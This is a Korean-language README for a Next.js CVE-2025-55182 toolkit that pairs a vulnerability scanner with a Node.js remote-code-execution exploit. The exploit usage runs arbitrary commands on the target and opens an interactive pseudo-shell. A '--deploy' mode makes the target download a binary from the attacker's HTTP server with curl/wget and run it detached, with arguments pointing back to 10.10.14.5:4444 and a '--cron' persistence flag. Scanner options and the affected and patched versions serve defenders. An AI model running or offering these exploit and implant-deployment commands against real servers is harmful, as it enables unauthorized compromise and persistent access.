
Next.js 애플리케이션에서 CVE-2025-55182 취약점을 탐지하는 bash 스캐너입니다. 그리고 PoC nodejs 스크립트입니다.
CVE-2025-55182 툴킷. Next.js에서 RSC 페이로드 주입을 통한 인증되지 않은 RCE를 위한 스캐너 + 익스플로잇.
Node.js 익스플로잇: 종속성 없음. Bash 스캐너: 단일 URL 또는 대량 목록을 확인합니다.
# 출력이 있는 단일 명령
./react2shell.mjs -t http://target:3000 -c "id"
# 대화형 유사 셸
./react2shell.mjs -t http://target:3000 -i
# 대상에 바이너리 배포 (다운로드 + chmod + 분리 실행)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
옵션:
-t, --target <url> 대상 URL (필수)
-c, --command <cmd> 출력이 있는 명령 실행
--blind 블라인드 RCE (출력 캡처 없음)
-i, --interactive 대화형 유사 셸
--deploy <binary> 대상에 바이너리 업로드 및 실행
--lhost <ip> 사용자 IP (생략 시 자동 감지)
--serve-port <port> 바이너리를 제공할 HTTP 포트 (기본값: 8888)
--remote-args <args> 배포된 바이너리에 전달할 인수
--deploy는 네 번의 RCE 호출을 연결합니다: 플랫폼 탐지 (uname), 바이너리 다운로드 (임시 HTTP 서버를 띄우고 대상에서 curl/wget 사용), 그리고 분리된 spawn을 통해 프로세스가 5초 execSync 타임아웃을 넘겨도 유지됩니다.
참고: 대상 페이지는 동적이어야 합니다 (
force-dynamic또는 캐시 불가능한 경로). 정적/사전 렌더링된 페이지는 페이로드를 실행하지 않고 캐시된 다이제스트를 반환합니다.
chmod +x cve-2025-55182-check.sh
# 단일 URL 스캔
./cve-2025-55182-check.sh https://example.com
# 여러 URL 스캔
./cve-2025-55182-check.sh -f urls.txt
# JSON 출력
./cve-2025-55182-check.sh --json https://example.com
옵션:
-f, --file FILE 파일에서 URL 읽기 (한 줄에 하나씩)
-v, --verbose 자세한 출력 (curl 세부 정보 표시)
-q, --quiet 조용한 모드 (취약한 사이트만 표시)
-n, --no-follow 리디렉션을 따르지 않음
-t, --timeout SECONDS 요청 제한 시간 (기본값: 10)
--json 결과를 JSON 형식으로 출력
--validate-fix 완화 조치 테스트
--single-payload 기본 페이로드만 사용 (더 빠름)
templates/ 디렉토리의 보안 도구용 템플릿:
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, 모든 15.x 및 16.x (패치 전)
패치됨: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+
전체 익스플로잇 체인 분석은 TECHNICAL.md를 참조하세요.
MIT
Allan Kimmer Jensen - https://akj.io